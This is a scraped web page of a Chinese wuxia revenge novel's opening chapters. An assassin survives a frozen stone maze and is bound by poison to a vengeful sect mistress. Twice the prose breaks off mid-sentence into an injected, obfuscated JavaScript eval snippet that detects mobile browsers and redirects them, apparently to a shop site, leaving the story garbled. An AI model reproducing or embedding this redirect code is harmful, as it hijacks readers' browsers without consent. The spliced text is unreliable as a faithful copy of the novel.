《这个杀手有点冷》 1. 密谋 暮色渐沉,北风吹得树叶沙沙作响,这是今年冬天的第一场雪,女子神色紧张,抬头望了望天空,心中隐约察觉到某种不安。 “主人。”黑衣男子从窗檐上跳了下来,单膝跪地,对着眼前的女子行了行礼,“十三死了。” 他们游走在黑暗之中,没有名字,只有代号。 “死了?”女子一怔,略有所疑,目光落在眼前男子身上,这些死士是族人培养的顶尖杀手,就这么死了。 她目带寒光,遏制住心中的怒火:“十三是怎么死的?” “被太子的暗卫杀了。” “太子?”女子眼眸中闪现出一抹诧异,嘴角上扬,嘲讽道:“这个废物,现在看起来似乎变聪明了不少。” 天色越来越暗,窗台上早已经落满了厚厚的一层雪,远远望去,连一个人影都没有,女子轻轻抬起手,伸出窗外,雪花落到掌心,瞬间被融化了不少。 “真是越来越有趣了。” 黑衣男子感到局促不安,浑身紧张道:“主人,我们要不要先下手为强?” 女子甩掉掌心的雪花,拿出洁白的丝帕轻轻地擦拭掉剩余的水珠,轻微摇头:“黑夜将至,就让他们鹬蚌相争。”她浅浅的笑了笑,笑声在漆黑的房间里回荡,让人有些胆寒。 “十一,听闻江湖上最近出现了一个叫七杀殿的组织,你对这个组织了解多少?” “凡是七杀出手,没有他们杀不了的人,只不过......”十一沉默了会,“只不过,他们从来不参与朝堂之争。”他沉下头,想都不敢想,曾经他们派人夜探七杀殿,去的三个人,没有一个人能够活着从七杀殿走出来,时至今日,连他们的尸身都无人所知。 北风吹的呼呼作响,周围漆黑一片,连带着窗台上的雪都被吹落到屋内,女子摆动着手指,眼神飘向窗外,“你去和他们接触接触,只要能够杀了太子,不计任何代价。” “是。”十一快速的消失在黑暗之中。 ...... 七杀殿由七位顶级杀手组成,他们的殿主武功更是深不见底,经常来无影去无踪,从来都没有人见过她的真面目,江湖传闻,她有数百张面孔,传的神乎其神的,甚至连她是男是女都无人所知。 传的越是神秘,大家对这位殿主也就越感兴趣。 “何人闯阵?” 十一停下脚步,扫视前方,握拳道:“在下十一,求见七杀殿殿主冷蝉衣。” “殿主不在,阁下请回。” “是吗?”十一环顾四周,轻蔑的笑了笑,“在下有要紧事,需要求见七杀殿殿主。”完成不了主人交代的任务本就是死路一条,不如放手搏一把,也许七杀殿殿主冷禅衣见了,会答应他的条件呢?他对自己的能力是十分自信。 “在下十一,求见七杀殿殿主冷禅衣。” 一阵阴森的寒风迎面袭来,冰雪肆虐,冷得刺骨,跟玄冰似的,拼命钻入十一的身体里,“在下十一,求见七杀殿殿主冷禅衣。” 四周静悄悄的,任凭他声音再大,都没有一个人前来搭理他。 “与其这样继续等待下去,被活活的冻死,到不如放手一搏,也许能够博得一线生机呢?”十一凝视远望一番,抖动掉衣服上的积雪,朝着前方的石阵走去。 “不要动。”一名白胡子老者从石林后面跳了出来,他抖了抖白花花的胡须,警告道:“小子,你不怕死吗?” “死。”十一轻蔑的笑了笑,心想“当初成为杀手的时候,早就把生死置之度外了,他是一名死士,死士是不惧怕死亡的。” “不怕。”十一果断答道。 白胡子老者紧盯着十一的脸看了许久,突然快速闪到十一面前,一阵威压,压得十一大气都不敢喘,他从未感到如此恐惧,七杀殿果真能人辈出,连一个守门的老者的武功都深不可测。 “还好刚才没有拔剑,要不然,此刻躺在地上的人就是他了。”十一心口冒出一丝寒气。 “既然你不怕死,那就闯阵吧,只有闯过了石阵,才有资格进入七杀殿。”白胡子老者摇了摇头,他抬起手指算了算,叹气道:“别怪我没提醒你,能够闯过石阵的人寥寥无几,闯过石阵且不疯的人,迄今为止也就只有一个。” “那个人......是个怪物。”白胡子老者浑身打颤,寒毛直竖,想想都让他觉得惊悚。 月光洒落到那些石头上,那些石头仿佛拥有了生命一般,十一紧抿嘴唇,浑身紧绷的看着四周,飞雪迷失了他的双眼,他紧握着刀柄,一步一步的朝着前方行走。 黑暗中,前方突然出现了一道白影,十一小心翼翼的朝着白影靠近,“你是何人,为何装神弄鬼?”他仔细盯着白影看了好久,白影一动不动的,不像个活人。 四周静悄悄,一阵一阵的寒风朝着他袭来,冻得他瑟瑟发抖,做杀手的这几年,他经历过无数大大小小的战斗,见过各种各样不同的死法,但从来没有任何一种战斗像如今这般,让恐惧由心底而生,如果今夜走不出石阵,他将必死无疑。 十一谨慎的环顾四周,空无一人,树影在北风的呼啸中,宛如鬼影般四处摇晃。前方的道路被大雪覆盖,一不小心就会踩到一处水坑,或者被树枝绊倒。 白影在他眼前忽远忽近,十一凝神静气,晃动一下脑袋,试图让自己保持绝对的清醒,“绝对不能晕倒,如果此刻晕倒,你将会永久的陷入沉睡。”人在自然灾害面前,犹如一粒微尘。 人是会被冻死的,这是他从未经历过的极寒。 他转头,四处看了看,一路走过来,原来,石头不是石头,他们脸上挂满了笑容,显得十分安详。 “零三,零九,十五。”三幅熟悉的面孔突然出现在十一的视线。 十一倒吸一口凉气,神色紧张,隐约察觉有些不安。 他裹紧衣服,咧嘴骂道:“这该死的天气。”一种恐惧的情绪瞬间涌上心头,他浑身颤抖,牙齿打颤,继续朝前方走着。 此时,耳边传来一阵哭泣声,哭泣声中还伴随着一些哀怨声,十一微闭双眼,凝神静听,一阵喘气声从十一的耳旁呼过,他浑身紧绷,心脏不停的跳动,恐惧袭满全身,心想,“我是杀手,杀手是不能有任何情绪波动的,要不然,就不是一名合格的杀手,不管他是人还是鬼,能够在此地出现的,绝不是什么善类。” “出来。”十一挥舞着大刀,对着北风一阵乱砍,大声喝道:“装神弄鬼,有本事就出来,我们单打独斗。” 树枝在北风的呼啸声中继续摇晃,“难道是我出现了幻觉。”十一朝着空荡荡的身后望去,除了那些被冰雪冰冻住的死人,连一丝活物的气息都没有,越是这样安静,十一心底越是感到慌乱。 “难道今晚,我要冻死在这里了吗?就像这些人一样,永远的留在这里。”恐惧不断袭击着十一的身心,他感觉到自己的心脏逐渐停止了跳动,“这难道就是死亡前的征兆?” 他昏昏沉沉,觉得好累,很想停下来休息一番,“难道你就这样打算放弃了吗?”耳边突然传来一名女子的声音,那声音若隐若现,“你准备放弃抵抗,永远的沉睡在这里,像这群人一样,被做成冰雕吗?” “我......”十一浑身力气消耗殆尽,身体如千斤压顶般,动弹不得,他双眼迷糊的看着前方,“我,这是要死了吗?” “对,你快死了。” 白色的身影在十一的眼前停留下来,十一看呆了:“你是仙女吗?” “我不是仙女,我是死神。” “死神?”十一滚动了一下喉结,勉强笑道:“所以你是来接我下地狱吗?” “地狱?”白衣女子轻蔑的笑了笑,她指了指一旁人形的冰雕,瞬间,冰雕在白衣女子的掌心中化为齑粉,被狂风吹散。 “不”恐惧瞬间占满十一的整个心脏,他清醒了许多,咬牙道:“不,我不能死在这里,我不要下地狱。”他提高警觉,旋转着刀柄,再次朝着前方看了看,前方空无一人,“难道刚才看到的一切,都是幻觉吗?” “这里自始至终就只有我一个人?” “我不能倒下去,我得活着离开这里。”他浑身哆嗦,双脚已经被凝结成了冰。 ...... “这个人,我要了。” 雪微从黑暗中走了出来,上下打量着眼前这个男人的背影,“红袖,等他闯过石阵,就把他带到我宫里。” “是。”红袖憋嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892823|192250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,目光复杂的看了看眼前的那个男人,不小心多问了一句,“如果他没闯过石阵呢?” “那他就必须得死,七杀不需要一个死人。” 红袖真恨自己嘴贱,早就知道结果,为何自己偏偏要多嘴问上一句。少宫主收集不少男子,并把他们训练成为最厉害的杀手,在宫内,是人人敬畏的存在,任何人都不敢质疑。 更何况这座石阵的背后,是由少宫主一手布置,她是个布阵高手。 “人为什么会感到恐惧,那是因为他害怕,只要他心中有了在意的东西,那么他将不在无懈可击。”说出这句话的时候,少宫主才十二岁,红袖不知道她经历了什么,但在七杀殿中,少宫主才是那个令人恐惧的存在。 没有人能够从少宫主的手底下轻易的逃脱,一个连命都可以不在乎的人,那么天底下还有什么事值得她在乎呢? 刚开始的那几年,红袖对少宫主充满了好奇,她是个谜一般的人物,独来独往,不与任何人接触,甚至没有人知道她来自哪里,大家私底下一致认为少宫主是宫主养在宫外的私生子。 后来,少宫主苦练七年,七年后,从底层一路杀到现在这个位置上,她能够坐稳这个位置,威震他人,背后付出的努力,红袖一路上都看在眼底,少宫主就是她心中的偶像,自此,她发誓会一直跟随少宫主,绝不会生出二心。 月光洒落到雪地上,雪微看着眼前的男子拼命的挣扎着前行,这种韧劲以及拼命求生的欲望,像极了她年少的时候。 那一年,她八岁,全族一夜之间被屠杀殆尽,师父路过救下她,把她丢到雪域,要她从崖底不能依靠外力,靠自己一步一步的爬上去。 她从崖底抬头向上望去,高不见顶,她心中充满了恐惧,亲眼看着族人一个个惨死在自己的眼前,她恨不得自己也在那场屠杀之中死去。 寒风凛冽,风如刀割,一刀一刀的凌迟着她瘦弱的心脏。 她还太弱小,只能眼睁睁的看着族人在自己的眼前惨死,却无法替他们报仇雪恨。寒冰瞬间袭满她全身,冻得她瑟瑟发抖。 “你要想为族人报仇,就得从这里靠自己一步一步的爬上去。”师父不满的看着躺在地上瑟瑟发抖的雪微,“你这么没用,以后怎么能够为族人报仇?” “你给我爬起来。”师父咬牙切齿,踢了踢躺在地面上一动不动的雪微。 “你太弱小了,以后怎么能替族人复仇?” “爬上去......爬上去......” “我要为族人报仇。” 雪微艰难的从地面上爬了起来,身上的伤口遍满全身,血迹染红了一片。“我不弱,我要变强,我一定要为族人复仇。” 她咬紧牙关,从袖口掏出一把匕首,发疯的击打着眼前的冰山,“我要爬上去,我一定能够为族人复仇。” 族人惨死的身影像放电影般的在她脑海里回荡,惨不忍睹。即使十几年过去了,却依旧是她心底那道不可触摸的刺。 崖底空无一人,异常寒冷,师父每隔半年就会前来探望她一次,并丢给她一些食物,摇摇头,长叹之后又扬长而去。她感到十分孤寂,经常会对着树木,以及一些小动物说话。每当她爬到半山腰,总会因为体力不支,从山腰又跌落下去。 一次,二次......五次......七次......时间久了,雪微都不记得自己跌落了多少次了,她只知道自己身上的伤口从未完全好过。 不知攀爬了多少次,直到有一天,她提气,从崖底一跃而上。 “好久都没有想起这些往事了,我要把他们加注在我以及我族人身上的痛苦,百倍,千倍的要他们加以偿还。”这十年来,每晚入睡,雪微都会想起那晚全族人一夜之间被屠杀殆尽,父母,哥哥,嫂嫂,姐姐等,她家人的面容在她的脑海中挥之不去。 “快走。”母亲用尽最后一丝力气,狠狠的把她推入密道,“快走,记住,永远不要回来,忘记这一切,不要复仇。” 树枝被北风吹的吱吱作响,雪微呼出一口气,仰望着月亮:“娘,微儿要回家了,微儿要让那些陷害我们的仇人,血债血偿。” 夜色越渐越浓,雪微站在月光下,如同死神降临。 2. 设局 十一艰难的往前行走着,他的脚已经被冰冻的没有了知觉,北风时不时的朝他猛烈的刮来,企图阻挡他前行的步伐。他抬头看了看前方被黑暗包裹的道路,比起黑夜让人更加感到恐怖的是无尽的深渊。 也不知怎么了,心中总是感到不安,总感觉黑暗中有无数冰冷的眼睛正在盯着他,这种被当成猎物盯着的感觉,让他心中非常的不爽,他加快了步伐,只想尽快的逃离这里。 自小十一就被人当成死士培养,他深知黑暗之中有许多见不得光的东西,越是见不得光的东西,往往越是异常的危险。虽然死亡对于死士来说是件再正常不过的事情,他心中早已无所畏惧,也做好了随时赴死的准备。 但他不甘心,不甘心自己就这么无名无姓的死去,他没有亲人,也没有朋友,每天都过着刀光剑影的生活,看着身边的那些死士,一个接一个的死去,他以为自己的内心早已经麻木,直到此刻,十一突然发觉,自己对亲情还是非常的渴望。 他对于活下去的渴望越来越强烈,“我不能死在这里,被做成冰雕,像这些人一样,永远的留在这里。” 黑夜越来越浓,北风也咆哮的越是厉害,前方树丛中传来一声狼嚎,十一停下脚步,机警的凝视着前方,冷风在他的耳旁呼呼的刮着,十一来回扫视四周,无路可退。 他继续朝前行走,双手不自觉的握紧了刀柄,那是一双深邃的蓝色眼睛,不停的再向他靠近,黑暗与它的身体融为一体,十一莫名的感到有些恐慌,他握紧大刀,如果它扑过来的话,十一会毫不犹豫的举起大刀朝着它砍去。 月色洒落到刀身上,十一终于看清这个半人高的庞然大物,“雪狼王?” 传闻雪狼王通常只会出现在极寒之地的雪域,这里怎么会出现雪狼王呢?十一心中充满疑惑,雪狼王可不是轻易能够驯服的物种,七杀殿真是人才辈出,连雪狼王都可以被驯服。 他一声不吭,死死的盯着雪狼王,浑然天成的霸气,如果换做往日,十一是绝对不可能和这样的庞然大物迎面相对的。 野兽和人之间,本就有着不可撼动的绝对优势,更何况是这种王者级别的雪狼王? 十几年的杀手生涯,十一比任何人都更加明白,他如今所处的境地,如果他不主动出击,任由它直扑过来,如果被它看出恐惧与懦弱,那么等待他的结果,只有死路一条。 一名合格的死士是不能被任何情绪干扰的,他努力克制心中的恐惧,高举着大刀,朝着雪狼王迎面飞扑过去。 雪狼王一声长嚎,眼神有些兴奋,犹如王者降临,浑身散发阵阵寒意,看着眼前的猎物垂死挣扎,无一不在警告着十一,“你是我的猎物,不要再挣扎了,挣扎是没有用的。” 那是一种势在必得的气场,不允许任何人去挑战它的权威。 那双眼也不知散发着什么魔力,让人不自觉的就觉得胆战心惊,十一感觉自己被一头野兽侮辱了,他撇过头,不再看向野兽的那双迷人的双眼。 “我不能怯懦,我得杀出去,谁敢阻挡我,我就杀了谁。”十一握紧刀柄,朝着雪狼王疯狂的砍了下去,一人一野兽在林中斗争了十几个回合,雪狼王被彻底激怒了。 它对着十一,主动发起了攻击,被惹怒的雪狼王果真是战斗界的霸主,十一有些体力不支了,即使身体处于全盛时期,十一也没有把握能够击倒雪狼王,他只能被迫由进攻改为防守。 一次......两次......紧接着,十一阻挡了第三次攻击,他被雪狼王攻击得再度后退。 雪狼王再一次狼嚎,看着眼前的猎物,似乎有些兴奋,它看着十一那张隐藏在黑暗中看不出任何表情的脸,眼神嘲讽的长大嘴巴,迅猛的朝着十一咬来。 十一吓得心脏都快停止了跳动,大气都不敢喘出声,“我这是要死了吗?我要被这头野兽咬死了吗?” 死亡,才是一名死士的终结。 十一微闭双眼,身体已经到了崩溃的边缘,他感到好累,浑身麻木无力,“这样也好,死了,一切也就终结了,我再也不用听任何人摆布了,我的生命只属于我自己。” 一路走来,当杀手的这十几年,十一经常会想,他以前是干什么的,他不知道,不知道自己的来处,每一个被买来当杀手培养的死士,都会被主人把他以前的记忆抽离掉,然后再对他们加以驯化,用毒药进行控制,使其服从主人的命令。 十一淡淡的笑了笑,他们没有了记忆,因此也就不会有任何的软肋。 鲜血从他的肩膀上不断的往外流下,流到他的指尖,身体本能对生命即将流逝的反应,总是能够激起十一对活着的渴望。 “我不能死,不能倒下去。”他拼命的挣扎着。 雪狼王不知听到了什么讯号,放下叼着的十一,然后朝着远处飞奔而去,消失在一片黑暗之中。 雪一片一片的在十一的眼前落下,鲜血染满了整片雪地,瞬间被凝结成了冰,红彤彤的一片,在洁白无暇的雪地显得异常扎眼。 “少宫主,你再不出手,他会被冻死的。”红袖鼓起勇气,打破了死寂。 雪微面无表情,冷冷的看着即将晕厥在雪地的十一,“再观察观察,他不会如此脆弱的。” 红袖长呼一口气,月光下,男子肩膀上的肉都被咬了下去,只露出血淋淋的白骨,而那热腾腾的鲜血,早已经被凝结成了冰,如果他再不醒来,那么,等待他的,将和这群冰雕一样,被永远的留在这里。 “少宫主?”红袖想不明白,以往闯关没有与雪狼王相斗的环节,怎么如今,少宫主要在这个男子的身上花费这么多的功夫,使劲的折腾他。红袖心底冒出一丝寒气,不能得罪少宫主,要不然怎么死的都不知道。 “人只有在即将死亡的时候才会明白生命的可贵,我就是要让他体会濒临死亡的感觉,然后再吊着他一口气,给他活着的希望。”雪微甜美的声音,宛如冰冷的刀刃般,一片一片的凌迟着少年那颗求生的心。 “只有这样,他才会明白生命的可贵,才会对我感恩戴德。” 红袖一听,愣了半天,如果要说冰冷妖艳,少宫主才是那个能够激起内心恐惧的存在,她心思深沉,身手果决,红袖在雪微身边这十几年,经常感到自愧不如。 ...... 梦中,战火纷飞,一名丫鬟模样的宫女神色紧张,她牵着一个五六岁的男孩拼命的往前奔跑,一不留神,被人绊了一跤,然后又艰难的从布满水渍的地面爬了起来,手掌心被磨破了皮,男孩被吓破了胆,放声大哭。 “不要哭。”宫女害怕的赶紧捂住男孩的嘴唇,摇头道:“太子,不要哭,哭声会引来敌人的。” 男孩瞪大眼睛,那双眼眸中充满了恐惧,“走,赶紧走。”宫女推了男孩一把,微微笑道:“太子,你要记住,任何人抓住你,你都不要承认,知道了吗?” “你只是一个普通的孩子,对他们构成不了任何威胁。” 男孩突然感到害怕,神情怯弱的摇了摇头。 “快走吧,晚了就来不及了。”宫女一脸不舍,被拐的脚踝疼痛难忍,“太子,请恕我无法再继续陪伴你左右了,你的未来,只能听天由命了。”她抬起额头,对着上天默默许愿。 “神啊,请保佑太子一世平安,他是我族最后的希望。” 她看着男孩的背影,微微笑了笑,“孩子,你一定要好好的活下去,只有先活下去,才会有翻盘的希望。” “不要。”十一大喊一声,睡的极不安稳,梦中,他苦苦哀求这些人不要离开,最终,他们还是离他而去。 漫天红光,火势烧的越来越旺盛,连续烧了三天三夜,男孩隐藏到人群之中,眼睁睁的看着这些侵略者烧杀抢掠,无恶不作,他的心中充满了怨恨。 “不要......不要......”十一瞬间惊醒。 “你醒了?”雪微对着十一浅笑道:“为了救活你,我可是耗费了许多上好的药材,你这条命,现在可是十分珍贵。” 十一用袖口擦拭掉额头上豆大的汗珠,抬头看了看这座石洞,洞内十分简洁,光线有些暗淡,十一分不清现在到底是什么时辰,他看着眼前忙碌的女人,脸色略微有所迟疑:“是你救了我?” 雪微笑了笑:“这里除了我,你觉得还会有别人吗?” 十一低头,沉默了会,为自己刚刚的怀疑感到内疚。 雪微继续捣鼓着汤药,“刚刚,你梦见了什么?” “梦?” “对啊,你昏迷的时候,口中一直在说着什么‘不要’。”雪微转头盯着十一,好奇问道:“你不要什么?” “刚刚......” 十一的脑海中浮过一些画面,熊熊大火似乎要吞并一切,一群穿着战甲的掠夺者,到处烧杀抢夺,互 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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雪微抬起右手,缓缓摇晃,清脆动耳的铃声从雪微右手的镯子里散发出来,十一感到一阵头晕,身体瘫软到地面上,“这是怎么回事,我怎么会感到浑身无力?” 十一看着缓缓朝他走来的雪微,洁白的靴子越来越近,“我,我这是怎么了?” “你种了噬魂蛊。”雪微旋转着手腕,仔细的看着手腕上的银镯,在微弱的烛光下,银镯散发着淡蓝色的荧光,“这不是毒,而是蛊。” 她走到十一的身旁,蹲了下来,“这蛊毒对你的身体没有任何的影响,你不用太过于担忧,只要你听我的,好好替我办事,事成之后,我自然会替你解了这蛊毒,放你自由。” “自由......你真的会放我自由吗?”十一想都不敢想,真的有人会放他自由吗? 雪微转身,看着十一那漆黑深邃的眼眸,温柔笑道:“当然。” 十一看得出神了,他从来都没有正面好好瞧瞧眼前的这个女人,她看起来也许不会让人一眼难忘,但越是这种琢磨不透的感觉,反而让人觉得越危险。 “跟这么危险的女人合作?”十一神色沉重的想了想。 “犹豫了。”雪微依旧笑了笑,笑声中隐约伴随着嘲讽:“我还以为你们杀手都不怕死呢?” “没想到,你却是个胆小鬼。” 她拿起石桌上的茶杯,抿了口茶水,警告道:“自由与死亡,你别无选择。” “砰。”雪微手指滑落,茶杯掉到地上,碎了满地,“你可以选择离开,但是你的命必须得留下。” “你是个疯子。”一股寒气从心底瞬间席卷而来,十一见过了许多人,但从未在任何一个人的身上看到出这种气息。 雪微冷冷的盯着十一,嘴角淡淡一笑,“我就当你这是夸奖我了。” “噬魂蛊。”这个只有传说中听到的蛊毒,怎么会出现在这里,十一浑身颤抖,他很努力的克制住自己身体的抖动,避免让这个女人察觉出异常。 洞外北风呼啸,十一想了许久,终于应道:“好,我答应替你办事,事成之后,你必须立刻替我解除蛊毒,还我自由。” “成交。”雪微咧嘴笑道:“你要是早答应了,也就不会受这么多的罪了。” 她转头怜悯的看着十一,叹声道:“噬魂蛊发作,是很难受的。” 3. 归来 十一眉头紧锁,摇拽的烛光映衬到他的侧脸上,看起来十分狰狞,他眉头拧成一个结,额头青筋直冒,衣服被汗水浸湿得都可以挤出水来,如万蚁钻心般,疼痛难忍。 “这女子外表看似温柔不谙世事,实则心肠歹毒,做事不择手段。”一冷一热,交替折磨着十一的身体,他蜷缩到一侧的角落,把自己隐藏到黑暗之中,不想把自己狼狈快要失去意识的一面让她看到。 “呼吸困难,如同火烧,又或者浑身颤抖,如坠寒潭。”雪微怜悯的看着瑟瑟发抖的十一,她那张柔情的笑脸下,充满了同情,“这可怎么办呢?” “噬魂蛊的毒性对人的身体虽然没有什么大碍,但是一旦发作,那可是生不如死。” 雪微举起蜡烛,不急不缓的走到十一的身旁,她停下脚步,滚烫的蜡油滴到十一的手背。 “仙女姐姐。” “仙女姐姐,不要走。”十一低声祈求,他紧紧的拽着雪微的袖角。 “仙女姐姐?”雪微浅浅笑了笑,她把蜡烛放到一旁,转身安抚着十一的情绪,“我不会走的,我会陪着你,一直走下去。” 淡雅的梅香,沁人心脾,“睡吧,睡醒了,就不疼了。” 雪微的目光落到十一的脸上,沉默之后,开口道:“可惜了,没有人能够扛过噬魂蛊的毒虫。” 她转过身,漆黑的眼眸充满恨意。 ...... “爹,娘,微儿要回家了。” 雪微依稀记得那个弥漫着血腥的夜晚,鲜血染满了整座宁王府,王府里的下人四处逃串,尖叫声席卷而来,她的眼睛里含满了恐惧,紧紧的抓住母亲的手臂,不想和母亲分开。 她还记得,母亲回头时最后的微笑,“微儿,忘记这一切,永远,永远不要再回来了。” “不,母亲,微儿忘不了这一切,微儿要让这些杀害你们的仇人都付出惨烈的代价。”母亲的笑容一遍又一遍的萦绕在雪微的脑海中,那晚具体发生了什么事,雪微只能凭借微弱的记忆把它们拼凑出来。 她被母亲迷晕了,并被母亲贴身的丫鬟兰心藏在了暗道。第二天醒来的时候,兰心拿出母亲的书信,字字啮血沁骨,无一不透露着诀别。 她看着院中,堆的比人还要高的尸体,四肢发软,哀痛得难以言语,愤怒,瞬间袭满全身。兰心及时拉住雪微的手腕,摇了摇头:“你现在出去,只有死路一条,王妃不会希望你这么做的。” 泪水在雪微的眼眶中打转,她紧咬嘴唇,努力克制心中的怒火。 “你的命是用我女儿的命换的。” “女儿。”雪微脑中一片茫然,“你是说,我的命,你女儿代替我死了?” 兰心点了点头,她抬头看着雪微,正好对上雪微的视线,“你要好好活着,只有活下去,才能为王妃,为我的女儿报仇。” “为什么?” “你为什么会用你女儿的性命救我?”雪微心中充满了疑惑,她不明白,兰心为什么会这么做。 兰心深呼一口气,抬头看了看天空:“因为王妃。” “天底下,我从未见过像王妃这么心善的女子,我的命是她救的,所以,我不能让她的子嗣遭到灭绝。” 她顿了顿:“善良的人,不应该是这样的结局。” “善良......” 雪微步履有些不稳,指着院中的那堆死尸,“我亲眼看着王府上下三百多口人,一夜之间,惨遭屠杀。” “如果善良有用的话,那么就让那些屠杀我满门的刽子手,都死绝了吧。”她的声音嘶哑而悲愤。 一阵沉默之后,兰心开口:“小姐,你现在应该让自己先活下去,然后赶紧去通知大小姐,家族遭受了灭顶之灾,她在婆家的日子也不会好过。” “大姐。”雪微努力遏制住自己心中的怒火,企图让自己恢复平静:“对,大姐,我要去找大姐,我要带大姐离开这里。” 她擦干了眼角的泪珠,再一次看了看那群人的尸身,转身朝着暗道深处走去。 ...... “我知道你醒了。”雪微拿起茶杯,给自己倒了一杯茶,茶香四溢,就像雪微身上的梅花香一样,沁人心脾。 她抿嘴品尝了一口,“不错。” “这茶啊,越放越久,才有味道。” 雪微侧头看着床塌上正襟危躺的十一,“它叫枯木逢春,你不是想恢复自由吗?我答应你,等你帮我把这件事情办好了,我就放你自由。” 她沉默了会,开口道:“三年为期,如何?” “三年?”十一仔细想了想,如果三年之后真的能够恢复自由,那么帮她三年又如何? “你跟着你的前任主人,也只不过是他们手中的一条狗罢了,他们要你生则生,要你死,难道你会不死吗?”雪微看着一动不动的十一,笑了笑:“你跟着我,至少,我可以保证,三年以后,一定会放你自由,这样各取所需,难道不好吗?” “成交。”十一从床塌上坐了起来,“我替你做三年事,就当报了你的救命之恩,三年以后,你不可以再找我麻烦。” “好。”雪微果断的答应了他,似笑非笑道:“回去告诉你的前任主人,叫她准备好十万两黄金,三年后,太子必死。” “十万两黄金?”十一的小心脏跳动一番,“你怎么不去抢呢?” 雪微一本正经道:“很贵吗?”她给自己又倒了杯水,“也是,毕竟太子的命,可是很贵的。” “对了,你怎么知道我来此的目的是为了买凶杀太子?”十一看着眼前这个女人,她心机之深沉,在这个世上怕是无人能比,他心底始终有些不安。 雪微淡淡笑之:“七杀殿做的就是杀人的买卖,不管是江湖还是朝堂之事,都逃不过我的眼睛。”她顿了顿:“你身上的那块令牌,看起来可是莫家之物,价值不菲呢?” “能够动用此令牌的,想想也没有多少,所以我大致猜想,你们搞这么大动静,要杀的肯定是一个非常重要的人物,普天之下,除了太子还能够有谁呢?太子死了,你背后的主子才可以重新推举新的王。” 此女心思深沉,十一摸了摸怀中的令牌,娴妃娘娘把这块令牌交给他的时候,千叮万嘱,如果需要动用大量的钱财,可以手持此令牌,前往莫家调配,没想到,此事居然都被她给看了出来。 他死死的盯着雪微,似乎想把她看透,但怎么看都看不透她。 “你不用这么死盯着我,我又不会吃了你。”雪微温柔的语气中带着一股子寒意:“放心,七杀殿的规矩,拿人钱财,替人消灾,至于你们要杀什么人,做什么事,与我们一概无关,我们只负责拿钱,杀人。” ...... “小姐,大小姐上吊自杀了。”兰心小心翼翼,这孩子年纪这么小,刚刚又经历亲人的离去,兰心心里实在不忍,怕说出来会刺激到她。 “自杀了。”雪微靠着信念支撑到这里,身体已经到了极限,族人一夜之间被屠杀殆尽,最爱她的姐姐也上吊自杀。她终于支撑不住了,浑身悲痛得想要炸裂开来,她晕倒了。 “小姐。”兰心眼神充满了担忧,慌乱中,不知该怎么办,“浑身怎么这么烫,这该如何是好。” 城中到处都在抓捕从王府逃逸出来的奴婢,如果此刻出去,岂不是正好被他们撞见,兰心心急如焚,如果不出去寻找大夫的话,小姐也许会被活活的烧死,左右都是死,兰心准备堵一把。 她背着雪微,正准备去寻找大夫,此时,迎面走过来一个身穿深色衣服的女子,她的手中拿着一把铁扇,天色雾蒙蒙的,又有些暗淡,兰心看不清来人的脸,“再继续折腾下去,不出三个时辰,她便会死。” “死?”兰心心里接受不了,花费这么大代价,好不容易救活一个孩子,老天爷,你真的忍心,夺走她的生命吗? “姑娘,你能够救救她吗?她只是一个孩子。”萍水相逢,一个路过的陌生人而已,何德何能,兰心不敢奢望,但心里实在不甘。 “可以,不过,我救人,可不白救的。”女子冷言冷语,言语中没有一丝感情。 兰心脸上露出欣慰的表情:“那是自然,姑娘救了我们,那便是我们的恩人,恩人有任何需求,我们一定会竭尽全力的报答姑娘。” “只是竭尽全力?”女子咄咄逼人的气势,兰心心中有些不解,呆呆的看着眼前的女子:“那么,姑娘想要我们怎么做?” “我要你们拼尽全力 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雪微笑了笑,心里有些苦涩,这么多年,她一直在外面执行任务,兰姨心底总是放不下当年的那些事,也是,谁又能够真正的放下呢?“兰姨,我希望你能够忘掉当年的那些事,放过自己,去过平静的生活。” “忘掉?”兰姨苦笑道:“小姐,你能够忘掉吗?” 雪微语塞,“我......” “我不一样,所有的人都能够遗忘,但唯独是我。” 她的目光扫过兰心的双眼:“我是他们的女儿,如果我都忘记了这一切,那么,还会有谁会记得呢?” “那场大火,虽然毁灭了一切,但只要我还活着,就总有人会记得。” 她又道:“兰姨,但你不一样,你是可以过上平静的生活的,复仇的路,从来都不是一件容易的事,我不希望兰姨的双手沾满鲜血。” “不。”兰姨满脸痛苦的神情:“小姐,我怎么能忘记呢?我的女儿也死在了那场屠杀之中,就算不为了王妃,为了我的女儿,我也要杀尽他们每一个人。” “有些伤疤,是永远难以愈合的。” 雪微在花园这里停留了会,“既然兰姨决定了,那我们就一起,杀他个片甲不留。”她知道自己无法劝说兰姨忘掉仇恨,毕竟,就连她自己也忘不掉。 消灭仇恨唯一的办法,就是让仇人血债血偿。 兰心心里十分欣慰,“小姐长大了,她有了自己的思想,我就算不能一直陪伴她左右,但也不想让她在复仇的道路上孤零零的一个人。”她看着雪微远去的背影,这一次,她又要离开多久,三个月......半年......又或者是一年...... ...... “师父,我准备离开了。”自从一年前,师父闭关以后,雪微就很少来打扰她老人家,但这次不一样,这一次,她的敌人非常的强大,雪微不知自己这一次去了,能不能活着回来。 洞口寒风肆掠,昨夜大雪纷飞,丹霞谷谷口的树枝上都结满了冰锥,冷得出奇,雪微看了看四周,吸了口冷气,一切看似静悄悄的。 “你决定了吗?”谷内传出一阵浑厚的声音,师父的武功又精进了不少。 雪微沉默了会,点头应道:“师父,弟子决定好了。” 她朝着谷内望了望,师父救了她,并且养育了她十二年,不管怎么样,养育之恩大于天,可惜,为了替家人复仇,不能在师父的身前尽孝,雪微叹了口气。 